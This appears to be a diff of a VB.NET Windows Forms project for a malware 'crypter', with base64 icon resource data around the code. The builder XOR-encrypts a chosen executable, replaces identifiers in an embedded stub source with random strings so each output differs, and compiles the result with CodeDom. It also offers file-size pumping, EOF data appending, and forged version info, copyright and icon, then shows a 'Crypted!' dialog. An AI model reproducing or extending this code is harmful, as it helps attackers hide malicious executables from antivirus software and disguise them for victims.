AAAAAAAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//
/wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//
/wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//
/wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//
/wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////APz9/AD///8A////AP//
/wD///8A////APz9/AD8/fwA/P38APz9/AD8/fwA////AP///wD8/fwA/P38APz9/AD8/fwA/P38AP//
/wD///8A////AP///wD///8A/P38AP///wD///8A////AP///wD///8A////APz9/AD6/fsB+v37Afz9
/AD8/fwA////APz9/AD6/fsB+v37A/r9+wP6/fsD+v37A/r9+wH8/fwA/P38APr9+wH6/fsD+v37A/r9
+wP6/fsD+v37Afz9/AD///8A/P38APz9/AD6/fsB+v37Afz9/AD///8A////AP///wD8/fwA+v37A/b9
+Qf0/fgJ9v35B/r9+wP6/fsB+P36A/T9+Afy/fcK9P34CfT9+Any/fYK9P34B/b9+Qb2/fkG9P34B/L9
9gr0/fgJ9P34CfL99gr0/fgH+P36A/r9+wH6/fsD9v35B/T9+An2/fkH+v37A/z9/AD///8A/P38APr9
+wH0/fgJ6v3yEub98BXq/fIS8v33CvT9+Afw/fUM6P3xFOT97hjm/fAX5v3wF+T97hjo/fEV7P3zEez9
8xHo/fEV5P3uGeb98Bfm/fAX5P3uGOj98RTw/fUM9P34B/L99wrq/fIS5v3wF+r98hL0/fgJ+v37Afz9
/AD8/fwA+P36Ber98hPY/eck0P3jLdb95ibk/e4Z6v3yE+L97RrU/eUpzP3gMM794i/O/eIvzP3gMNL9
5CvY/eck2P3nJNL95CvM/eAwzv3hL8794i/M/eAw1P3lKeL97Rrq/fIT5P3uGdb95ibQ/eMt2P3nJej9
8RT2/fkG/P38APz9/ADy/fcK2v3pIr792D6w/dBMuv3WQs794i/W/eYmyv3fMrb900es/c5QrP3NUKz9
zlCq/c1Ssv3RS7z91z+8/dc/sv3RS6r9zVKs/c5QrP3OUKz9zlC2/dRHyv3fMtb95ibO/eEvuv3WQ7D9
0Ey+/dg/2v3pI/L99wr8/fwA+v37Aez98xHI/d4zoP3HXYz8u3GW/cFlsP3QTbr91kOq/c1SkP29a4T9
tnmE/bZ5hP22eYL9tXmM/LtxmP3CZJj8wmSK/bpxgv21eYT9tnmE/bZ5hP22eZD8vWuq/c1Suv3WQrD9
0E2W/MFnjP27cZ79xl7G/d016v3yEvr9+wH4/foD5P3uGbT90kh13qGNTZptxGrpoJaK/bpxmP3CZIb9
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
dMKO/bxvov3IWpb9wGeK/bpxjv28b479vG+M/LtxmP3CZKb8yleQ/b1rSbB0wTj7icUuqmLeOuyFxS6g
Xt42+4jIQbFwyZb9wWXW/eYm9v35B/z9/AD8/fwA9v35Btz96h+m/cpWX9KOpTWJWNtS4o6uXvygoEnE
fb01iVnbbfCkkaL9yFq8/dc/uP3VRbD90Ey0/dJJtP3SSbL90Uu6/dZDvv3YPqT9yVdv76SQNolY3EvF
frxe/KCgUuCOrzeMWtpe0o6lpv3KV9z96h/2/fkG/P38AP///wD4/foD5P3uGLj91USK+rlycOmjkH78
s36E/bZ5fPyxgnDnopCQ/L1tuv3WQ9L95CrU/eUp0P3jK9L95CrS/eQq0P3jK9T95SjU/eUovP3XQZD8
vWtw5qKQfPyxgoT9tnl+/LN+cOmjkIr7uXS4/dVE5P3uGfj9+gP8/fwA////APr9+wHs/fMRzP3gMKr9
zVKe/MVepP3JV6r9zVKi/MhanvzGXrD90E3Q/eMt5P3uGOj98RXm/fAV6P3xFOj98RTo/fEV6P3xFOb9
8BfQ/eMrsP3QTJ79xl6i/chaqv3NUqT9yVec/cRgqv3NUsz94DDs/fMR+v37Af///wD///8A/P38APL9
9wre/eseyP3eM8D92TzG/d01zP3gMcT93DjA/dk8zP3gMOL97Rrw/fUM9P34CfT9+An0/fgH9P34B/T9
+An0/fgH8P31DOL97RnM/eAwwP3ZPMT93DjM/eAxxv3dNcD92TzI/d4z3v3rHvL99wr8/fwA////AP//
/wD8/fwA+P36Bez98w/g/ewc3P3qIeD97B3i/e0Z3v3rHtz96iHi/e0Z7v30Dvj9+gX6/fsB+v37Afr9
+wH6/fsB+v37Afr9+wH4/foF8P31DOL97Rnc/eoh3v3rHuL97Rng/ewd3P3qIeD97Bzs/fMP+P36Bfz9
/AD///8A////AP///wD8/fwA9v35B/D99Qzu/fQP8P31DPL99wrw/fUM7v30D/D99Qz4/foF/P38APz9
/AD///8A////AP///wD///8A/P38APz9/AD4/foF8P31DO799A/w/fUM8v33CvD99Qzu/fQP8P31DPb9
+Qf8/fwA////AP///wD///8A////APz9/AD6/fsB+P36A/j9+gX4/foD+v37A/j9+gP4/foF+P36A/z9
/AD8/fwA////AP///wD///8A////AP///wD///8A/P38APz9/AD4/foD+P36Bfj9+gP6/fsD+P36A/j9
+gX4/foD+v37Afz9/AD///8A////AP///wD///8A////APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9
/AD8/fwA/P38AP///wD///8A////AP///wD///8A////AP///wD///8A/P38APz9/AD8/fwA/P38APz9
/AD8/fwA/P38APz9/AD8/fwA////AP///wD///8A////////////////////////////////////////
////////44ABx+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH8AAAD/AI
GA/wH/gP8B/4D/s//N////////////////////////////////8oAAAAEAAAACAAAAABACAAAAAAAAAE
AAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//
/wD///8A////AP///wD///8A////AP///wD8/fwA/P38APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9
/AD8/fwA/P38APz9/AD8/fwA/P38AP///wD8/fwA9P34Ce799A72/fkG8v33Cuz98xHs/fMR8P31DPD9
9Qzs/fMR7P3zEfL99wr2/fkG7v30DvT9+An8/fwA+P36A9b95ibE/dw43P3qH8794i+8/dc/vP3XP8b9
3TXG/d03vP3XP7z91z/O/eEv3P3qH8T93DjW/eYm+P36A/D99Qyl9cdadd+hjKL9yFqH87R1aeCbmWrj
nZh78q2EefGshGrjnZhp4JuZh/O0daL9yFp136GNo/XFWvD99Qzo/fEVbcSRmjFvS+1X7JaoPZ1l1iuG
UO0rlFfqNJdd4DSVXOArklbqLIhT6z6dZtZX65WoMHBL7WvCkJzm/fAV4v3tGmbHj6hXZ178Ko5U7T5z
VPg6i1z6N45c+j5tUfo+a1H6N45c+jyKXPo/dFb4Ko5U7VZmXfxlyY+o4v3tGuD97B1bvISxOnhT+jt0
U/xJZFT9I5FR+CCYUvhIZ1X9SGhW/R+cU/cjkFH4S2VW/TpzUvw4eVP6XbyFr+D97Bzm/e8Xbu6jkA/k
afBGa1X9FMdg+B7eb+Mf02rlD9Bg+hDNYPof1GvlH9xu4xXFX/pFbFX9EeRq8G/wpY7m/fAX7v30Do79
vG8exGTpCuRl+A3XYvY46oPINtt8zRPOYfAUy2DwOdt9yjrqhMYO1mL2CuRl+B3FZOmO/bxu8P31DPb9
+Qek/clZLKNe5xDna+4drVnzT96LtFPNhrQtzHDXL85y1lfQia9S3YyyHq5Z8xDoa+4ro17npP3JWfb9
+Qf4/foDtP3SSTbCcNQqvmjdKtdz2mTRkqGK9rhxc+ikjXPopI2O+LpuZtOUnyrWctoqvmjdNMFv1bL9
0Ur4/foD+v37Acj93jNjz5ChbfWmklrMiqqW+cBnxv3dNcL92zrC/ds6yP3eM5j5wWRay4qqbfWmkmPQ
kKHI/d41+v37Afz9/ADi/e0ZtP3SSLj91USy/dFLzP3gMez98xHu/fQP7v30D+z98w/M/eAxsv3RS7j9
1US0/dJJ4v3tGfz9/AD8/fwA9v35B+b98BXq/fIT5v3wF+799A76/fsB/P38APz9/AD6/fsB7v30Dub9
8Bfq/fIT5v3wFfb9+Qf8/fwA////APz9/AD6/fsD+v37Afr9+wP8/fwA/P38AP///wD///8A/P38APz9
/AD6/fsD+v37Afr9+wP8/fwA////AP//AAD//wAA//8AAP//AADYGwAAgAEAAIABAACAAQAAgAEAAMAD
AADAAwAAwkMAAMfjAAD//wAA//8AAP//AAA=
</value>
</data>
</root>
@@ -0,0 +1,234 @@
Imports System.IO
Imports fLaSh.Dissembler
Public Class Form1
Dim ofd As New OpenFileDialog
Dim lo As New OpenFileDialog
Dim sfd As New SaveFileDialog
Dim TheEOF As String
Public Function GetNullBytes(ByRef lNum As Object) As String
Dim Buf As String
Dim i As Short
For i = 1 To lNum
Buf = Buf & Chr(0)
Next
GetNullBytes = Buf
End Function
Public Function ReadEOFData(ByRef FilePath As String) As String
Dim EOFBuf As String
Dim lPos As Integer
If Dir(FilePath) = "" Then
Exit Function
End If
Dim ReadFile As String = IO.File.ReadAllText(FilePath)
lPos = InStr(1, StrReverse(ReadFile), GetNullBytes(30))
EOFBuf = (Mid(StrReverse(ReadFile), 1, lPos - 1))
ReadEOFData = StrReverse(EOFBuf)
If ReadEOFData = "" Then
End If
Exit Function
End Function
Public Function random_key(ByVal lenght As Integer) As String
Randomize()
Dim s As New System.Text.StringBuilder("")
Dim b() As Char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray()
For i As Integer = 1 To lenght
Randomize()
Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1
s.Append(b(z))
Next
Return s.ToString
End Function
Public Function encrypt(ByVal message As Byte(), ByVal password As String) As Byte()
Dim passarr As Byte() = System.Text.Encoding.Default.GetBytes(password)
Randomize()
Dim rand As Integer = Int((255 - 0 + 1) * Rnd()) + 1
Dim outarr(message.Length) As Byte
Dim u As Integer
For i As Integer = 0 To message.Length - 1
outarr(i) += (message(i) Xor passarr(u)) Xor rand
If u = password.Length - 1 Then u = 0 Else u = u + 1
Next
outarr(message.Length) = 112 Xor rand
Return outarr
End Function
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Try
sfd.Filter = "Executables *.exe|*.exe"
If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
Dim source As String = My.Resources.source ' Declare temporary string storing the source for replacing
Dim vars As String() = {"%1%", "%2%", "%4%", "%5%", "rand1", "sizel", "processInfo", "procAttr", "passarr", "startupInfo", "num2", "num", "ptr4", "baseAddr", "buffer__1", "bufferSize", "numRead", "dst", "lpBaseAddress", "lpNumberOfBytesWritten", "buffer2", "u1", "i1"} ' Declaring a String Array with all Strings to replace
For i As Integer = 0 To vars.Length - 1 ' Loop thought all Strings to replace
source = source.Replace(vars(i), random_key(300)) ' Replace the fill strings with a random String to make the Server more unique (Basic USG System)
Next
Dim input As Byte() = encrypt(IO.File.ReadAllBytes(TextBox1.Text), "okmijnlp") 'Read & Encrypt to crypt
source = source.Replace("%3%", CD.format(input)) ' Format the input bytes and place them in the temp source
iCompiler.GenerateExecutable(sfd.FileName, source, "") ' Compile the source using CodeDom
Else : Exit Sub
End If
Catch ex As Exception
End Try
If CheckBox1.Checked = True Then
Dim filesize As Double = Val(NumericUpDown1.Value)
filesize = filesize * 1048576
Dim filetopump = IO.File.OpenWrite(sfd.FileName)
Dim size = filetopump.Seek(0, IO.SeekOrigin.[End])
While size < filesize
filetopump.WriteByte(0)
size += 1
End While
filetopump.Close()
End If
If CheckBox2.Checked = False Then
Else
IO.File.AppendAllText(ofd.FileName, TheEOF)
End If
If CheckBox4.Checked = True Then
Try
If Not File.Exists(ofd.FileName) Then
Throw New Exception("Exe not found!")
End If
Cursor.Current = Cursors.WaitCursor
Application.DoEvents()
Dim oVersionResource As New VersionResource()
oVersionResource.LoadFrom(ofd.FileName)
'build icon..
'
oVersionResource.FileVersion = TextBox2.Text
oVersionResource.ProductVersion = TextBox2.Text
'
Dim oStringFileInfo As StringFileInfo = DirectCast(oVersionResource("StringFileInfo"), StringFileInfo)
oStringFileInfo("FileVersion") = String.Format("{0}" & vbNullChar, oVersionResource.FileVersion)
oStringFileInfo("ProductVersion") = String.Format("{0}" & vbNullChar, oVersionResource.ProductVersion)
oStringFileInfo("Assembly Version") = String.Format("{0}" & vbNullChar, oVersionResource.ProductVersion)
oStringFileInfo("LegalCopyright") = String.Format("{0}" & vbNullChar, txtACopyright.Text.Trim)
oStringFileInfo("FileDescription") = String.Format("{0}" & vbNullChar, txtADescription.Text.Trim)
oVersionResource.SaveTo(sfd.FileName)
Catch ex As Exception
Finally
Cursor.Current = Cursors.Default
End Try
If CheckBox3.Checked = True Then
Dim oIconFile As New IconFile(lo.FileName)
Dim groupIconResource As GroupIconResource = oIconFile.ConvertToGroupIconResource()
groupIconResource.SaveTo(sfd.FileName)
End If
End If
form2.visible = True
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
ofd.Filter = "Executables *.exe|*.exe"
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
TextBox1.Text = ofd.FileName
TheEOF = ReadEOFData(ofd.FileName)
CheckBox1.Enabled = True
CheckBox2.Enabled = True
CheckBox3.Enabled = True
CheckBox4.Enabled = True
CheckBox3.Text = "Change Icon (No Icon Loaded)"
Else : TextBox1.Text = ""
End If
If TheEOF = Nothing Then
CheckBox2.Text = "Use EOF (Not Recommended)"
Else
CheckBox2.Text = "Use EOF (Recommended)"
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub btnExit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Me.Close()
End Sub
Private Sub btnOpen_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Using o As New OpenFileDialog
o.Filter = "Executable files (*.exe)|*.exe|"
o.FileName = TextBox1.Text.Trim
If o.ShowDialog(Me) = Windows.Forms.DialogResult.OK Then
TextBox1.Text = o.FileName
End If
End Using
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
On Error Resume Next
lo.Filter = "Icon Files (*.ico)|*.ico"
lo.ShowDialog()
Dim o As New Bitmap(lo.FileName)
picIcon.Image = o
CheckBox3.Text = "Change Icon (Icon Loaded!)"
End Sub
Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.CheckedChanged
If CheckBox3.Checked = True Then
Button3.Enabled = True
Else
Button3.Enabled = False
End If
End Sub
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
NumericUpDown1.Enabled = True
Else
NumericUpDown1.Enabled = False
End If
End Sub
Private Sub CheckBox4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox4.CheckedChanged
If CheckBox4.Checked = True Then
txtACompany.Enabled = True
txtACopyright.Enabled = True
txtADescription.Enabled = True
TextBox2.Enabled = True
Else
txtACompany.Enabled = False
txtACopyright.Enabled = False
txtADescription.Enabled = False
TextBox2.Enabled = False
End If
End Sub
End Class
Public Class CD
Public Shared Function format(ByVal input As Byte()) As String ' Codedom has maximum of possible chars per line so we are storing the string in multiple strings
Dim out As New System.Text.StringBuilder ' Declaring a new StringBuilder to store the output string
Dim base64data As String = Convert.ToBase64String(input) ' Get a readable String from the Byte Array
Dim arr As String() = SplitString(base64data, 50000) ' Split the string into parts to fit in the Codedom-lines
For i As Integer = 0 To arr.Length - 1 ' Looping thought each string in the array
If i = arr.Length - 1 Then ' If i equals the highest number
out.Append(Chr(34) & arr(i) & Chr(34))
Else 'I is smaller than arr.Length - 1 (i < arr.Length - 1)
out.Append(Chr(34) & arr(i) & Chr(34) & " & _" & vbNewLine)
End If
Next
Return out.ToString
End Function
Private Shared Function SplitString(ByVal input As String, ByVal partsize As Long) As String()
Dim amount As Long = Math.Ceiling(input.Length / partsize) 'Get Long value of the amount of parts using the formular (Length of Input / Length of Parts)
Dim out(amount - 1) As String 'Declaring the Array to Return using the amount of Parts to define the size
Dim currentpos As Long = 0 ' Declaring the Currentposition in the String
For I As Integer = 0 To amount - 1 ' Looping thought each string in the array
If I = amount - 1 Then ' If i equals the highest number
Dim temp((input.Length - currentpos) - 1) As Char ' Declaring a temporary Array of Chars for storing the current Part of the String
input.CopyTo(currentpos, temp, 0, (input.Length - currentpos)) ' Current part is everything left from the string
out(I) = Convert.ToString(temp) ' Current part is appended to the output string
Else 'I is smaller than amount - 1 (i < amount - 1)
Dim temp(partsize - 1) As Char ' Declaring a temporary Array of Chars for storing the current Part if the String using the Size of a part (partsize)
input.CopyTo(currentpos, temp, 0, partsize) ' Copying the current Part to the temp array
out(I) = Convert.ToString(temp) ' Current part is appended to the output string
currentpos += partsize ' Currentposition is increase to catch the next part in the next "round" of the loop
End If
Next
Return out ' Return the Output String
End Function
End Class
@@ -0,0 +1,78 @@
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
Partial Class Form2
Inherits System.Windows.Forms.Form
'Form overrides dispose to clean up the component list.
<System.Diagnostics.DebuggerNonUserCode()> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If disposing AndAlso components IsNot Nothing Then
components.Dispose()
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
'Required by the Windows Form Designer
Private components As System.ComponentModel.IContainer
'NOTE: The following procedure is required by the Windows Form Designer
'It can be modified using the Windows Form Designer.
'Do not modify it using the code editor.
<System.Diagnostics.DebuggerStepThrough()> _
Private Sub InitializeComponent()
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form2))
Me.Button1 = New System.Windows.Forms.Button
Me.Label1 = New System.Windows.Forms.Label
Me.SuspendLayout()
'
'Button1
'
Me.Button1.BackColor = System.Drawing.Color.White
Me.Button1.BackgroundImage = Global.XD.My.Resources.Resources.images
Me.Button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch
Me.Button1.FlatStyle = System.Windows.Forms.FlatStyle.Popup
Me.Button1.ForeColor = System.Drawing.Color.White
Me.Button1.Location = New System.Drawing.Point(12, 73)
Me.Button1.Name = "Button1"
Me.Button1.Size = New System.Drawing.Size(160, 36)
Me.Button1.TabIndex = 0
Me.Button1.Text = "Ok"
Me.Button1.UseVisualStyleBackColor = False
'
'Label1
'
Me.Label1.AutoSize = True
Me.Label1.BackColor = System.Drawing.Color.Transparent
Me.Label1.Font = New System.Drawing.Font("Comic Sans MS", 26.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
Me.Label1.ForeColor = System.Drawing.Color.White
Me.Label1.Location = New System.Drawing.Point(12, 9)
Me.Label1.Name = "Label1"
Me.Label1.Size = New System.Drawing.Size(160, 49)
Me.Label1.TabIndex = 1
Me.Label1.Text = "Crypted!"
'
'Form2
'
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
Me.BackgroundImage = Global.XD.My.Resources.Resources.images
Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch
Me.ClientSize = New System.Drawing.Size(179, 121)
Me.Controls.Add(Me.Label1)
Me.Controls.Add(Me.Button1)
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
Me.MaximizeBox = False
Me.MinimizeBox = False
Me.Name = "Form2"
Me.Text = "Crypted!"
Me.TopMost = True
Me.ResumeLayout(False)
Me.PerformLayout()
End Sub
Friend WithEvents Button1 As System.Windows.Forms.Button
Friend WithEvents Label1 As System.Windows.Forms.Label
End Class
@@ -0,0 +1,377 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAMAMDAAAAEAIACoJQAANgAAACAgAAABACAAqBAAAN4lAAAQEAAAAQAgAGgEAACGNgAAKAAAADAA
AABgAAAAAQAgAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAAAAP///wD8/PwA/Pz8APz8/AD///8A/Pz8AP//
/wD///8A////AP///wD///8A/Pz8APz8/AD///8A/Pz8APz8/AD///8A/Pz8APz8/AD///8A/Pz8APz8
/AD///8A////APz8/AD///8A////APz8/AD///8A////APz8/AD///8A////APz8/AD///8A////APz8
/AD///8A////APz8/AD///8A////AP///wD///8A/Pz8AP///wD///8A/Pz8AP///wD///8A////AP//
/wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//
/wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//
/wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////APz8
